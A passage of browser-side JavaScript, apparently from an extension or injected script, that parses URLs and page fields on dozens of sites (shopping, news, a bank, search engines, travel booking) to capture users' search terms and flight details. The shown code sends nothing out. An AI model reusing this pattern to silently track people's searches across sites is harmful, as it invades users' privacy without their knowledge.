}
break;
case 'digg':
m = href.match(/^https?:\/\/digg\.com\/search\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isDigg = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'hubpages':
m = href.match(/^https?:\/\/hubpages\.com\/search\/(.*?)\??$/)
if (m !== null) {
isHubpages = true;
escapedTerm = m[1];
term = unescape(m[1]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'search-results':
m = href.match(/^https?:\/\/www\.search\-results\.com\/[a-z]+\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isSresults = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'foodnetwork':
m = href.match(/^https?:\/\/www\.foodnetwork\.com\/search\/delegate\.do\?(.+&)?fnSearchString=([^&]*).*$/)
if (m !== null) {
isFnetwork = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
m = href.match(/^https?:\/\/www\.foodnetwork\.com\/recipes\/[a-z \-]+\/(.*?)\/.*$/)
if (m !== null) {
escapedTerm = m[1];
term = unescape(m[1]);
term = term.replace(/\-/g, " ");
return;
}
break;
case 'earthlink':
m = href.match(/^https?:\/\/[a-z]+\.earthlink\.net\/search\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isElink = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'dailymotion':
m = href.match(/^https?:\/\/[a-z]+\.dailymotion\.com\/(.*)\/search\/([^&]*)\/.*$/)
if (m !== null) {
isDM = true;
escapedTerm = m[2];
term = unescape(m[2]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'sfgate':
m = href.match(/^https?:\/\/[a-z]+\.sfgate\.com\/(.*?)\/[a-z]+\/[a-z]+\/[a-z]+\?(.+&)?term=([^&]*).*$/)
if (m !== null) {
isSfgate = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
m = href.match(/^https?:\/\/[a-z]+\.sfgate\.com\/(.*?)\?(.+&)?query=([^&]*).*$/);
if (m !== null) {
isSfgate = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'costco':
m = href.match(/^https?:\/\/[a-z]+\.costco\.com\/(.*?)\/Search.aspx\?(.+&)?search=([^&]*).*$/)
if (m !== null) {
isCostco = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
m = href.match(/^https?:\/\/[a-z]+\.costco\.com\/CatalogSearch\?(.+&)?keyword=([^&]*).*$/)
if (m !== null) {
isCostco = true;
escapedTerm = m[2];
term = unescape(m[2]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'accuweather':
m = href.match(/^https?:\/\/[a-z]+\.accuweather\.com\/en\/us\/(.*?)\/.*$/)
if (m !== null) {
escapedTerm = m[1];
term = unescape(m[1]);
term = term.replace(/\-/g, " ");
return;
}
break;
case 'hp':
m = href.match(/^https?:\/\/[a-z 0-9]+\.hp\.com\/us\/en\/hp\-search\/search\-results\.html\?(.+&)?qt=([^&]*).*$/)
if (m !== null) {
isHp = true;
escapedTerm = m[2];
term = unescape(m[2]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'citibank':
m = href.match(/^https?:\/\/[a-z]+\.citibank\.com\/US\/JRS\/globalsearch\/Search\.do\?(.+&)?qt=([^&]*).*$/)
if (m !== null) {
isCBank = true;
escapedTerm = m[2];
term = unescape(m[2]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'bloomberg':
m = href.match(/^https?:\/\/[a-z 0-9]+\.bloomberg\.com\/search\/\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isBberg = true;
escapedTerm = m[2];
term = unescape(m[2]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'marketwatch':
m = href.match(/^https?:\/\/[a-z]+\.marketwatch\.com\/search\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isMwatch = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'pricegrabber':
m = href.match(/^https?:\/\/[a-z]+\.pricegrabber\.com\/(.*?)\/.*$/)
if (m !== null) {
isPGrabber = true;
escapedTerm = m[1];
term = unescape(m[1]);
term = term.replace(/\-/g, " ");
return;
}
break;
case 'buycheapr':
m = href.match(/^https?:\/\/[a-z]+\.buycheapr\.com\/(.*?)\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isBCheapr = true;
escapedTerm = m[3];
term = unescape(m[3]);
return;
}
break;
case 'alibaba':
m = href.match(/^https?:\/\/[a-z]+\.alibaba\.com\/(.*?)\?(.+&)?SearchText=([^&]*).*$/)
if (m !== null) {
isAlibaba = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'zazzle':
m = href.match(/^https?:\/\/[a-z]+\.zazzle\.com\/(.*?)$/)
if (m !== null) {
isZazzle = true;
escapedTerm = m[1];
term = unescape(m[1]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'thefind':
m = href.match(/^https?:\/\/[a-z]+\.thefind\.com\/(.*?)\?(.+&)?query=([^&]*).*$/)
if (m !== null) {
isThefind = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'nordstrom':
m = href.match(/^https?:\/\/[a-z]+\.nordstrom\.com\/(.*?)\?(.+&)?keyword=([^&]*).*$/)
if (m !== null) {
isNStrom = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'officedepot':
m = href.match(/^https?:\/\/[a-z]+\.officedepot\.com\/(.*?)\?(.+&)?Ntt=([^&]*).*$/)
if (m !== null) {
isOdepot = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'forever21':
m = href.match(/^https?:\/\/[a-z]+\.forever21\.com\/(.*?)\?(.+&)?keyword=([^&]*).*$/)
if (m !== null) {
isF21 = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'bedbathandbeyond':
m = href.match(/^https?:\/\/[a-z]+\.bedbathandbeyond\.com\/(.*?)\?(.+&)?Keyword=([^&]*).*$/)
if (m !== null) {
isBedbath = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'qvc':
m = href.match(/^https?:\/\/[a-z]+\.qvc\.com\/(.*?)\?(.+&)?keyword=([^&]*).*$/)
if (m !== null) {
isQvc = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'gifts':
m = href.match(/^https?:\/\/[a-z]+\.gifts\.com\/(.*?)\?(.+&)?keyword=([^&]*).*$/)
if (m !== null) {
isGifts = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'drugstore':
m = href.match(/^https?:\/\/[a-z]+\.drugstore\.com\/(.*?)\?(.+&)?Ntt=([^&]*).*$/)
if (m !== null) {
isDrugstore = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case '123rf':
m = href.match(/^https?:\/\/[a-z]+\.123rf\.com\/(.*?)\?(.+&)?word=([^&]*).*$/);
if (m !== null) {
is123rf = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'gamestop':
m = href.match(/^https?:\/\/[a-z]+\.gamestop\.com\/(.*?)\?(.+&)?nav=([^&]*).*$/);
if (m !== null) {
if(m[3] != '')
{
isGamestop = true;
var termsSp = m[3].split(",");
var termsArr = termsSp[0].split("-");
escapedTerm = termsArr[termsArr.length-1];
term = unescape(escapedTerm);
term = term.replace(/\+/g, " ");
}
return;
}
break;
case 'barnesandnoble':
m = href.match(/^https?:\/\/[a-z]+\.barnesandnoble\.com\/(.*?)\?(.+&)?keyword=([^&]*).*$/);
if (m !== null) {
isBnoble = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'zappos':
m = href.match(/^https?:\/\/[a-z]+\.zappos\.com\/(.*?)\?(.+&)?ot=([^&]*).*$/);
if (m !== null) {
isZappos = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'walgreens':
m = href.match(/^https?:\/\/[a-z]+\.walgreens\.com\/(.*?)\?(.+&)?Ntt=([^&]*).*$/);
if (m !== null) {
isWalgreens = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'dell':
m = href.match(/^https?:\/\/[a-z]+\.dell\.com\/(.*?)\?(.+&)?sk=([^&]*).*$/);
if (m !== null) {
isDell = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'cvs':
m = href.match(/^https?:\/\/[a-z]+\.cvs\.com\/(.*?)\?(.+&)?searchTerm=([^&]*).*$/);
if (m !== null) {
isCvs = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'bizrate':
m = href.match(/^https?:\/\/[a-z]+\.bizrate\.com\/(.*?)\/.*$/);
if (m !== null) {
isBizrate = true;
escapedTerm = m[1];
term = unescape(m[1]);
term = term.replace(/\-/g, " ");
return;
}
break;
case 'nike':
m = href.match(/^https?:\/\/[a-z]+\.nike\.com\/(.*?)\?(.+&)?sl=([^&]*).*$/);
if (m !== null) {
isNike = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'wayfair':
m = href.match(/^https?:\/\/[a-z]+\.wayfair\.com\/(.*?)\?(.+&)?keyword=([^&]*).*$/);
if (m !== null) {
isWayfair = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'evite':
m = href.match(/^https?:\/\/[a-z]+\.evite\.com\/(.*?)\?(.+&)?query=([^&]*).*$/);
if (m !== null) {
isEvite = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'samsclub':
m = href.match(/^https?:\/\/[a-z]+\.samsclub\.com\/(.*?)\?(.+&)?searchTerm=([^&]*).*$/);
if (m !== null) {
isSamsclub = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'victoriassecret':
m = href.match(/^https?:\/\/[a-z1-9]+\.victoriassecret\.com\/(.*?)\?(.+&)?q=([^&]*).*$/);
if (m !== null) {
isVictorias = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'dickssportinggoods':
m = href.match(/^https?:\/\/[a-z]+\.dickssportinggoods\.com\/(.*?)\?(.+&)?origkw=([^&]*).*$/);
if (m !== null) {
isDicks = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'vistaprint':
m = href.match(/^https?:\/\/[a-z]+\.vistaprint\.com\/(.*?)\/(.*?)\?.*$/);
if (m !== null) {
isVista = true;
if(m[2] && m[2] != '')
{
var termSp = m[2].split(".");
escapedTerm = termSp[0];
term = unescape(escapedTerm);
term = term.replace(/\-/g, " ");
}
return;
}
break;
case 'cafepress':
m = href.match(/^https?:\/\/[a-z]+\.cafepress\.com\/(.*?)$/);
if (m !== null) {
isCafepress = true;
escapedTerm = m[1];
term = unescape(m[1]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'ae':
m = href.match(/^https?:\/\/[a-z]+\.ae\.com\/(.*?)\?(.+&)?Ntt=([^&]*).*$/);
if (m !== null) {
isAe = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'hsn':
m = href.match(/^https?:\/\/[a-z]+\.hsn\.com\/(.*?)\?(.+&)?query=([^&]*).*$/);
if (m !== null) {
isHsn = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'footlocker':
m = href.match(/^https?:\/\/[a-z]+\.footlocker\.com\/(.*?)\/(.*?)$/);
if (m !== null) {
isFootlocker = true;
if(m[2] && m[2] != '')
{
var termSp = m[2].split("-");
escapedTerm = termSp[termSp.length-1];
term = unescape(escapedTerm);
term = term.replace(/\+/g, " ");
}
return;
}
break;
case 'lenovo':
m = href.match(/^https?:\/\/[a-z]+\.lenovo\.com\/(.*?)\?(.+&)?q=([^&]*).*$/);
if (m !== null) {
isLenovo = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'smarter':
if(jQuery('#headsearch').find('input[name="qq"]').val() != '')
{
isSmarter = true;
escapedTerm = jQuery('#headsearch').find('input[name="qq"]').val();
term = unescape(escapedTerm);
term = term.replace(/\+/g, " ");
}
break;
case 'craigslist':
if(jQuery('#query').val() != '')
{
isCraigslist = true;
escapedTerm = jQuery('#query').val();
term = unescape(escapedTerm);
term = term.replace(/\+/g, " ");
return;
}
if(jQuery('#catAbb option:selected').text() != '')
{
isCraigslist = true;
escapedTerm = jQuery('#catAbb option:selected').text();
term = unescape(escapedTerm);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'backpage':
if(jQuery('form[name="formRefineSearch"]').find('input[name="keyword"]').val() != '' && jQuery('form[name="formRefineSearch"]').find('input[name="keyword"]').val().indexOf('keyword') == -1)
{
isBackpage = true;
escapedTerm = jQuery('form[name="formRefineSearch"]').find('input[name="keyword"]').val();
term = unescape(escapedTerm);
term = term.replace(/\+/g, " ");
return;
}
if(jQuery('form[name="formRefineSearch"]').find('select[name="category"] option:selected').text() != '')
{
isBackpage = true;
escapedTerm = jQuery('form[name="formRefineSearch"]').find('select[name="category"] option:selected').text();
escapedTerm = jQuery.trim(escapedTerm);
term = unescape(escapedTerm);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'duckduckgo':
m = href.match(/^https?:\/\/duckduckgo\.com\/(.*?)\?(.+&)?q=([^&]*).*$/);
if (m !== null) {
isDuckgo = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'about':
if(jQuery('input[name="q"]').val() != '')
{
isAbout = true;
escapedTerm =jQuery('input[name="q"]').val();
term = unescape(escapedTerm);
term = term.replace(/\+/g, " ");
return;
}
m = href.match(/^https?:\/\/kayak\.about\.com\/.*$/);
if (m !== null) {
m = jQuery('meta[property="og:url"]').attr('content').match(/^https?:\/\/[a-z]+\.about\.com\/flights\/(.*?)\/(.*?)\/(.*?)$/);
if(m !== null)
{
aptStr = m[1];
deptDateStr = m[2];
retDateStr = m[3];
aptStrSp = aptStr.split('-');
if(aptStrSp[0])
deptApt = aptStrSp[0];
if(aptStrSp[1])
arrApt = aptStrSp[1];
deptDateStrSp = deptDateStr.split('-');
if(deptDateStrSp.length == 3)
deptDate = deptDateStrSp[1]+"-"+deptDateStrSp[2]+"-"+deptDateStrSp[0];
retDateStrSp = retDateStr.split('-');
if(retDateStrSp.length == 3)
retDate = retDateStrSp[1]+"-"+retDateStrSp[2]+"-"+retDateStrSp[0];
if(deptApt && deptApt != '')
isTravel = true;
}
return;
}
break;
case 'jeepforum':
m = href.match(/^https?:\/\/[a-z]+\.jeepforum\.com\/(.*?)\?(.+&)?q=([^&]*).*$/);
if (m !== null) {
isJeepforum = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'findprices':
m = href.match(/^https?:\/\/[a-z]+\.findprices\.com\/(.*?)\?(.+&)?q=([^&]*).*$/);
if (m !== null) {
isFindprices = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'safercar':
m = href.match(/^https?:\/\/[a-z]+\.safercar\.gov\/(.*?)\?(.+&)?q=([^&]*).*$/);
if (m !== null) {
isSafercar = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'abcteach':
m = href.match(/^https?:\/\/[a-z]+\.abcteach\.com\/(.*?)\?(.+&)?q=([^&]*).*$/);
if (m !== null) {
isAbcteach = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'jimmyjazz':
m = href.match(/^https?:\/\/[a-z]+\.jimmyjazz\.com\/(.*?)\?(.+&)?keywords=([^&]*).*$/);
if (m !== null) {
isJimmyjazz = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'aliexpress':
m = href.match(/^https?:\/\/[a-z]+\.aliexpress\.com\/(.*?)\?(.+&)?SearchText=([^&]*).*$/);
if (m !== null) {
isAliexpress = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'crengland':
m = href.match(/^https?:\/\/[a-z]+\.crengland\.com\/search\/node\/(.*?)$/);
if (m !== null) {
isCrengland = true;
escapedTerm = m[1];
term = unescape(m[1]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'behance':
m = href.match(/^https?:\/\/[a-z]+\.behance\.net\/(.*?)\?(.+&)?search=([^&]*).*$/);
if (m !== null) {
isBehance = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'rewarder':
m = href.match(/^https?:\/\/rewarder\.com\/(.*?)\?(.+&)?search=([^&]*).*$/);
if (m !== null) {
isRewarder = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'redmondpie':
m = href.match(/^https?:\/\/[a-z]+\.redmondpie\.com\/(.*?)\?(.+&)?q=([^&]*).*$/);
if (m !== null) {
isRmondpie = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case '123peppy':
m = href.match(/^https?:\/\/[a-z]+\.123peppy\.com\/(.*?)\?(.+&)?keyword=([^&]*).*$/);
if (m !== null) {
is123peppy = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'movie2k':
m = href.match(/^https?:\/\/movie2k\.sx\/(.*?)\?(.+&)?q=([^&]*).*$/);
if (m !== null) {
isMovie2k = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'wmur':
m = href.match(/^https?:\/\/[a-z]+\.wmur\.com\/(.*?)\?(.+&)?q=([^&]*).*$/);
if (m !== null) {
isWmur = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'inspectionsticker':
m = href.match(/^https?:\/\/inspectionsticker\.net\/(.*?)\?(.+&)?keyword=([^&]*).*$/);
if (m !== null) {
isIsticker = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'nbcphiladelphia':
m = href.match(/^https?:\/\/[a-z]+\.nbcphiladelphia\.com\/(.*?)\?(.+&)?keywords=([^&]*).*$/);
if (m !== null) {
isNbcphil = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'griffintechnology':
m = href.match(/^https?:\/\/[a-z]+\.griffintechnology\.com\/(.*?)\?(.+&)?q=([^&]*).*$/);
if (m !== null) {
isGriffin = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'lds':
m = href.match(/^https?:\/\/[a-z]+\.lds\.org\/(.*?)\?(.+&)?query=([^&]*).*$/);
if (m !== null) {
isLds = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'pcrichard':
m = href.match(/^https?:\/\/[a-z]+\.pcrichard\.com\/(.*?)\?(.+&)?question=([^&]*).*$/);
if (m !== null) {
isPcrich = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'pcmag':
m = href.match(/^https?:\/\/[a-z]+\.pcmag\.com\/(.*?)\?(.+&)?qry=([^&]*).*$/);
if (m !== null) {
isPcmag = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'sidereel':
m = href.match(/^https?:\/\/[a-z]+\.sidereel\.com\/(.*?)\?(.+&)?q=([^&]*).*$/);
if (m !== null) {
isSidereel = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'uggaustralia':
m = href.match(/^https?:\/\/[a-z]+\.uggaustralia\.com\/(.*?)\?(.+&)?q=([^&]*).*$/);
if (m !== null) {
isUgg = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'funnymama':
m = href.match(/^https?:\/\/funnymama\.com\/(.*?)\?(.+&)?q=([^&]*).*$/);
if (m !== null) {
isFunnymama = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'hamiltonbeach':
m = href.match(/^https?:\/\/[a-z]+\.hamiltonbeach\.com\/(.*?)\?(.+&)?search=([^&]*).*$/);
if (m !== null) {
isHamilton = true;
if(m[3] && m[3] != '')
{
spTerm = m[3].split("#");
escapedTerm = spTerm[0];
term = unescape(spTerm[0]);
term = term.replace(/\+/g, " ");
return;
}
}
break;
case 'quizlet':
m = href.match(/^https?:\/\/quizlet\.com\/(.*?)\/(.*?)\/$/);
if (m !== null) {
isQuizlet = true;
escapedTerm = m[2];
term = unescape(m[2]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'rantlifestyle':
m = href.match(/^https?:\/\/[a-z]+\.rantlifestyle\.com\/(.*?)\?(.+&)?s=([^&]*).*$/);
if (m !== null) {
isRantlife = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'fashiondivadesign':
m = href.match(/^https?:\/\/[a-z]+\.fashiondivadesign\.com\/(.*?)\?(.+&)?s=([^&]*).*$/);
if (m !== null) {
isFashiondiva = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'nationalgeographic':
m = href.match(/^https?:\/\/[a-z]+\.nationalgeographic\.com\/(.*?)\?(.+&)?search=([^&]*).*$/);
if (m !== null) {
isNg = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'popphoto':
m = href.match(/^https?:\/\/[a-z]+\.popphoto\.com\/(.*?)\/(.*?)$/);
if (m !== null) {
isPopphoto = true;
escapedTerm = m[2];
term = unescape(m[2]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'redbubble':
m = href.match(/^https?:\/\/[a-z]+\.redbubble\.com\/(.*?)\/(.*?)$/);
if (m !== null) {
isRedbubble = true;
escapedTerm = m[2];
term = unescape(m[2]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'sephora':
m = href.match(/^https?:\/\/[a-z]+\.sephora\.com\/(.*?)\?(.+&)?keyword=([^&]*).*$/);
if (m !== null) {
isSephora = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'dailykos':
m = href.match(/^https?:\/\/[a-z]+\.dailykos\.com\/(.*?)\?(.+&)?text=([^&]*).*$/);
if (m !== null) {
isDailykos = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'cargurus':
m = href.match(/^https?:\/\/[a-z]+\.cargurus\.com\/(.*?)\?(.+&)?q=([^&]*).*$/);
if (m !== null) {
isCargurus = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case '13wmaz':
m = href.match(/^https?:\/\/[a-z]+\.13wmaz\.com\/(.*?)\?(.+&)?q=([^&]*).*$/);
if (m !== null) {
is13wmaz = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'tinypic':
m = href.match(/^https?:\/\/tinypic\.com\/(.*?)\?(.+&)?tag=([^&]*).*$/);
if (m !== null) {
isTinypic = true;
if(m[3] && m[3] != '')
{
spTerm = m[3].split("#");
escapedTerm = spTerm[0];
term = unescape(spTerm[0]);
term = term.replace(/\+/g, " ");
return;
}
}
break;
case 'cnn':
m = href.match(/^https?:\/\/[a-z]+\.cnn\.com\/(.*?)\?(.+&)?query=([^&]*).*$/);
if (m !== null) {
isCnn = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'linkedin':
m = href.match(/^https?:\/\/[a-z]+\.linkedin\.com\/(.*?)\?(.+&)?keywords=([^&]*).*$/);
if (m !== null) {
isLinkedin = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'pinterest':
m = href.match(/^https?:\/\/[a-z]+\.pinterest\.com\/(.*?)\?(.+&)?q=([^&]*).*$/);
if (m !== null) {
isPinterest = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'vimeo':
m = href.match(/^https?:\/\/vimeo\.com\/(.*?)\?(.+&)?q=([^&]*).*$/);
if (m !== null) {
isVimeo = true;
escapedTerm = m[3];
term = unescape(m[3]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'orbitz':
m = href.match(/^https?:\/\/[a-z]+\.orbitz\.com\/shop.*$/);
if (m !== null) {
deptApt = jQuery('.departLocation').next().html();
deptApt = deptApt.replace("(", "");
deptApt = deptApt.replace(")", "");
arrApt = jQuery('.arriveLocation').next().html();
arrApt = arrApt.replace("(", "");
arrApt = arrApt.replace(")", "");
deptDate = jQuery('meta[name="DCSext.dd"]').attr('content');
deptDate = deptDate.replace(/\//g, '-');
retDate = jQuery('meta[name="DCSext.rd"]').attr('content');
retDate = retDate.replace(/\//g, '-');
if(deptApt && deptApt != '')
isTravel = true;
return;
}
break;
case 'priceline':
m = href.match(/^https?:\/\/[a-z]+\.priceline\.com\/airlines.*$/);
if (m !== null) {
deptApt = jQuery('fieldset[class="from"] > span[class="dest"]').find('input[type="text"]').val();
arrApt = jQuery('fieldset[class="to"] > span[class="dest"]').find('input[type="text"]').val();
deptDate = jQuery('fieldset[class="from"] > span[class="date"]').find('input[type="text"]').val();
deptDate = deptDate.replace(/\//g, '-');
retDate = jQuery('fieldset[class="to"] > span[class="date"]').find('input[type="text"]').val();
retDate = retDate.replace(/\//g, '-');
if(deptApt && deptApt != '')
isTravel = true;
return;
}
break;
case 'expedia':
case 'travelocity':
m = href.match(/^https?:\/\/[a-z]+\.expedia\.com\/Flight.*$/);
if(!m || m.length == 0)
m = href.match(/^https?:\/\/[a-z]+\.travelocity\.com\/Flight.*$/);
if (m !== null) {
deptAptVal = jQuery('#departureAirport').val();
deptAptMtc = deptAptVal.match(/^(.*?)\((.*?)\)$/);
if(deptAptMtc[2] && deptAptMtc[2] != '')
{
deptAptSp = deptAptMtc[2].split("-");
if(deptAptSp[0])
deptApt = deptAptSp[0];
}
arrAptVal = jQuery('#returnAirport').val();
arrAptMtc = arrAptVal.match(/^(.*?)\((.*?)\)$/);
if(arrAptMtc[2] && arrAptMtc[2] != '')
{
arrAptSp = arrAptMtc[2].split("-");
if(arrAptSp[0])
arrApt = arrAptSp[0];
}
deptDate = jQuery('#departDate').val();
deptDate = deptDate.replace(/\//g, '-');
retDate = jQuery('#returnDate').val();
retDate = retDate.replace(/\//g, '-');
if(deptApt && deptApt != '')
isTravel = true;
return;
}
break;
case 'hotwire':
m = href.match(/^https?:\/\/[a-z]+\.hotwire\.com\/air.*$/);
if (m !== null) {
deptApt = jQuery('.origin:first').find('strong').html();
arrApt = jQuery('.destination:first').find('strong').html();
var dateStr = $('#genRandom22').find('a:first').attr('href');
if(dateStr && dateStr != '')
{
dateArr = dateStr.split("?");
if(dateArr[1] && dateArr[1] != '')
{
dateParams = dateArr[1];
dateVars = dateParams.split("&");
for(var t=0; t < dateVars.length; t++)
{
tParamName = dateVars[t].split("=");
if(tParamName[0] == "fromdate")
deptDate = tParamName[1];
if(tParamName[0] == "todate")
retDate = tParamName[1];
}
}
}
deptDate = deptDate.replace(/\//g, '-');
retDate = retDate.replace(/\//g, '-');
if(deptApt && deptApt != '')
isTravel = true;
return;
}
break;
case 'expedia-aarp':
m = href.match(/^https?:\/\/[a-z]+\.expedia\-aarp\.com\/Flight.*$/);
if (m !== null) {
deptAptVal = jQuery('#inpDepartureLocations0').val();
deptAptMtc = deptAptVal.match(/^(.*?)\((.*?)\)$/);
if(deptAptMtc[2] && deptAptMtc[2] != '')
{
deptAptSp = deptAptMtc[2].split("-");
if(deptAptSp[0])
deptApt = deptAptSp[0];
}
arrAptVal = jQuery('#inpArrivalLocations0').val();
arrAptMtc = arrAptVal.match(/^(.*?)\((.*?)\)$/);
if(arrAptMtc[2] && arrAptMtc[2] != '')
{
arrAptSp = arrAptMtc[2].split("-");
if(arrAptSp[0])
arrApt = arrAptSp[0];
}
deptDate = jQuery('#inpDepartDate1').val();
deptDate = deptDate.replace(/\//g, '-');
retDate = jQuery('#inpReturnDate').val();
retDate = retDate.replace(/\//g, '-');
if(deptApt && deptApt != '')
isTravel = true;
return;
}
break;
case 'tripadvisor':
m = href.match(/^https?:\/\/[a-z]+\.tripadvisor\.com\/CheapFlights.*$/);
if (m !== null) {
aptStr = document.location.href;
aptArr = aptStr.split("?");
if(aptArr[1] && aptArr[1] != '')
{
aptParams = aptArr[1];
aptVars = aptParams.split("&");
for(var t=0; t < aptVars.length; t++)
{
aParamName = aptVars[t].split("=");
